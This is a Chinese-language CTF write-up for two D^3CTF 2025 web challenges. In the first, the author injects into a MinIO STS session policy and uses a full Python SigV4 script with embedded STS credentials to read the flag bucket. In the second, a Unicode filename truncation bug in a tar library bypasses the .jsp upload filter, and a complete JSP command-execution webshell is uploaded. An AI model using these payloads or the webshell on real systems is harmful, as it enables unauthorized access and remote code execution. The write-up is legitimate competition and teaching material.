2025 D^3CTF个人web方向wp题解

d3invitation

信息搜集

题目容器显示有一个minio存储桶,一开始先测试了Minio的未授权信息泄露CVE,无果,遂继续抓包分析,并将static/js/tools.js丢给AI分析了一下,发现总共就三个接口:/api/genSTSCreds/api/getObject/api/putObject

/api/genSTSCreds 接口可以获取STS凭证

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/genSTSCreds HTTP/1.1
Host: 34.150.83.54:31668
Content-Length: 26
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://34.150.83.54:31668
Referer: http://34.150.83.54:31668/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"object_name":"test.txt"}

测试发现返回的STS凭证只能用来读取对应名称的对象,显然有策略控制只能访问对应名称的存储桶对象

用web服务提供的读取存储桶接口/api/getObject要注意将获取的secret_access_key在传入时进行URL编码(对+号进行URL编码),不然会报错

将返回的STS凭证的session_token的内容拿去jwt解密,发现sessionPolicy部分有输入的内容(object_name)存在,猜测可能是直接进行字符串拼接的,可能可以进行RAM策略注入。

初步测试

先测试了一下通过注入来扩展策略的资源(Resources)范围

1
{"object_name":"*\",\"arn:aws:s3:::*"}

发现可以访问当前存储桶上传的所有文件,确实是可以注入的

继续利用

构造注入允许执行所有Action的策略

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /api/genSTSCreds HTTP/1.1
Host: 127.0.0.1:11243
Content-Length: 99
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not.A/Brand";v="99", "Chromium";v="136"
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: */*
Origin: http://127.0.0.1:11243
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:11243/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"object_name": "*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:*\"],\"Resource\":[\"arn:aws:s3:::*"}

成功注入策略

image-20250607171322935

一开始利用请求到的凭证进行访问时报错SignatureDoesNotMatch

1
2
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>SignatureDoesNotMatch</Code><Message>The request signature we calculated does not match the signature you provided. Check your key and signing method.</Message><Resource>/</Resource><RequestId>18445CC363C4457D</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>

后面发现错误原因是缺少安全令牌的签名计算,我将 x-amz-security-token 加入了请求头,但没有包含在签名计算中,MinIO会验证所有签名头部的完整性

访问根目录,可以看到flag存储桶,访问里面的flag键得到flag
image-20250607171520699

字符串直接拼接真是万恶之源

EXP get flag

DeepSeek一把梭Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
import hmac
import hashlib
import datetime
import urllib.parse
import requests

#下面三个替换为自己通过/api/genSTSCreds获取的
ACCESS_KEY = "PTKZVLPN95ORZHJTBK0D"
SECRET_KEY = "d9QeMbVCgiMUE+EJ1eHfZIZlll+f6qmoL42HQTif"
SESSION_TOKEN = "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJQVEtaVkxQTjk1T1JaSEpUQkswRCIsImV4cCI6MTc0ODYyODI3MSwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2SWwxOUxIc2lSV1ptWldOMElqb2lRV3hzYjNjaUxDSkJZM1JwYjI0aU9sc2ljek02S2lKZExDSlNaWE52ZFhKalpTSTZXeUpoY200NllYZHpPbk16T2pvNktpSmRmVjE5In0.wgYw9JJXuiACRXaZmIh2i-GSVUSEUW1kNLkRenMPpntr4r9DasxvArw0llt1eROVuTiOFR9Z3SSI0xpDzDDlwQ"
#替换为Minio靶机
MINIO_ENDPOINT = "http://34.150.83.54:30761"

def sign(key, msg):
return hmac.new(key, msg.encode('utf-8'), hashlib.sha256).digest()

def get_signature_key(key, date_stamp, region_name, service_name):
k_date = sign(('AWS4' + key).encode('utf-8'), date_stamp)
k_region = sign(k_date, region_name)
k_service = sign(k_region, service_name)
return sign(k_service, 'aws4_request')

def generate_aws_headers(method, path):
# 获取时间和主机信息
now = datetime.datetime.utcnow()
amz_date = now.strftime('%Y%m%dT%H%M%SZ')
date_stamp = now.strftime('%Y%m%d')
host = MINIO_ENDPOINT.split('//')[1].split('/')[0] # 正确获取主机:端口

# 规范URI编码 (关键修复)
canonical_uri = '/' + '/'.join(
urllib.parse.quote(segment, safe='')
for segment in path.split('/')
)

# 规范查询字符串 (本例中为空)
canonical_querystring = ""

# 规范头部 (按字母顺序排序)
canonical_headers = f"host:{host}\n"
canonical_headers += f"x-amz-date:{amz_date}\n"
canonical_headers += f"x-amz-security-token:{SESSION_TOKEN}\n" # 包含在签名中

signed_headers = "host;x-amz-date;x-amz-security-token" # 按字母顺序

# 规范请求体哈希 (GET请求为空)
payload_hash = hashlib.sha256(b'').hexdigest()

# 构建规范请求
canonical_request = (
f"{method}\n"
f"{canonical_uri}\n"
f"{canonical_querystring}\n"
f"{canonical_headers}\n"
f"{signed_headers}\n"
f"{payload_hash}"
)

# 创建待签名字符串
algorithm = "AWS4-HMAC-SHA256"
credential_scope = f"{date_stamp}/us-east-1/s3/aws4_request"
string_to_sign = (
f"{algorithm}\n"
f"{amz_date}\n"
f"{credential_scope}\n"
f"{hashlib.sha256(canonical_request.encode('utf-8')).hexdigest()}"
)

# 计算签名
signing_key = get_signature_key(SECRET_KEY, date_stamp, "us-east-1", "s3")
signature = hmac.new(
signing_key,
string_to_sign.encode('utf-8'),
hashlib.sha256
).hexdigest()

# 构建授权头
authorization_header = (
f"{algorithm} Credential={ACCESS_KEY}/{credential_scope}, "
f"SignedHeaders={signed_headers}, "
f"Signature={signature}"
)

return {
'Host': host,
'x-amz-date': amz_date,
'x-amz-security-token': SESSION_TOKEN,
'Authorization': authorization_header
}

def list_all_buckets():
headers = generate_aws_headers("GET", f"/")
url = f"{MINIO_ENDPOINT}/"
response = requests.get(url, headers=headers)


if response.status_code == 200:
print("[+] 所有存储桶列表:")
print(response.text)
return response.text
else:
print("[ERROR]")
print(response.text)

# 使用示例
if __name__ == "__main__":
headers = generate_aws_headers("GET", "flag/flag")
# 发送请求
response = requests.get(
f"{MINIO_ENDPOINT}/flag/flag",
headers=headers
)
print(response.text)

d3jtar

信息搜集

jadx反编译静态分析源码发现上传文件过滤了各种后缀,比如第一个jsp,并且过滤了各种特殊字符,防止路径穿越

一开始直接丢给AI分析了一轮,构建出整体框架,发现只有三个路由:viewBackupUpload

进行backup操作的时候发现会将views下的文件保存为backup.tar归档,然后在restore时解压出来,一开始想到构造一个带有可造成路径穿越的文件的backup.tar,restore出来路径穿越覆盖掉一开始的backup.tar,然后再restore一次来将jsp马写入views,试了,无果,untar的时候不会递归解压,反编译的代码也显示了这一点。但是发现untar的过程没有进行检查,可以猜测大概是要先backup然后restore来进行某种利用

分析源码

image-20250607170548663

这个 getNameBytes 函数存在一个严重的字符编码处理漏洞,根本原因是 Unicode 字符被直接截断为低8位字节

1
2
3
4
5
6
7
8
9
public static int getNameBytes(StringBuffer name, byte[] buf, int offset, int length){
int i;
for (i=0; i<length && i<name.length(); ++i){
buf[offset+i] = (byte) name.charAt(i); // 漏洞点
}
for(; i < length; ++i){
buf[offset+i] = 0;
}
}

字符转换过程:

  1. name.charAt(i) 返回 16 位 Unicode 字符(0-65535)
  2. (byte) 强制转换为 8 位字节(-128 到 127)
  3. 高8位数据被丢弃,只保留低8位

因此字符产生了截断

POST上传jsp马getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
POST /Upload HTTP/1.1
Host: 35.241.98.126:31160
Content-Length: 710
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryn4OruM32HnKlqw5n
Accept: */*
Origin: http://35.241.98.126:31454
Referer: http://35.241.98.126:31454/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryn4OruM32HnKlqw5n
Content-Disposition: form-data; name="file"; filename="testn.jųp"
Content-Type: application/octet-stream

<%@ page import="java.util.*, java.io.*" %>
<%
if (request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
<h1>Webshell Active</h1>
<form method="GET">
<input type="text" name="cmd" size="80">
<input type="submit" value="Execute">
</form>
------WebKitFormBoundaryn4OruM32HnKlqw5n--

image-20250607170816091

利用webshell获取Flag

image-20250607170824542

image-20250607170830427

搞定

总结

也是坐上烧卖师傅们的挂车了555

image-20250607173507930

有趣的一次端午假期